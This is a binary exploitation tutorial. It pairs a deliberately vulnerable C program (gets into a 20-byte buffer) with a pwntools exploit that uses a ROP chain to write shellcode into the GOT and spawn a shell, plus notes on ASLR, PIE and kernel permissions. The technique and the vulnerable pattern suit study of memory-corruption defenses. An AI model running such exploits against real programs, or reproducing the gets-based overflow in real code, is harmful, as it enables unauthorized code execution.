ROP and Shellcode

Source

#include <stdio.h>

void vuln() {
    char buffer[20];

    puts("Give me the input");

    gets(buffer);
}

int main() {
    vuln();

    return 0;
}

Super standard binary.

Exploitation

Let's get all the basic setup done.

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

Now we're going to do something interesting - we are going to call gets again. Most importantly, we will tell gets to write the data it receives to a section of the binary. We need somewhere both readable and writeable, so I choose the GOT. We pass a GOT entry to gets, and when it receives the shellcode we send it will write the shellcode into the GOT. Now we know exactly where the shellcode is. To top it all off, we set the return address of our call to gets to where we wrote the shellcode, perfectly executing what we just inputted.

rop = ROP(elf)

rop.raw('A' * 32)
rop.gets(elf.got['puts'])      # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts'])       # now our shellcode is written there, we can continue execution from there

p.recvline()
p.sendline(rop.chain())

p.sendline(asm(shellcraft.sh()))

p.interactive()

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

rop = ROP(elf)

rop.raw('A' * 32)
rop.gets(elf.got['puts'])      # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts'])       # now our shellcode is written there, we can continue execution from there

p.recvline()
p.sendline(rop.chain())

p.sendline(asm(shellcraft.sh()))

p.interactive()

64-bit

I wonder what you could do with this.

ASLR

No need to worry about ASLR! Neither the stack nor libc is used, save for the ROP.

The real problem would be if PIE was enabled, as then you couldn't call gets as the location of the PLT would be unknown without a leak - same problem with writing to the GOT.

Potential Problems

Thank to clubby789 and Faith from the HackTheBox Discord server, I found out that the GOT often has Executable permissions simply because that's the default permissions when there's no NX. If you have a more recent kernel, such as 5.9.0, the default is changed and the GOT will not have X permissions.

As such, if your exploit is failing, run uname -r to grab the kernel version and check if it's 5.9.0; if it is, you'll have to find another RWX region to place your shellcode (if it exists!).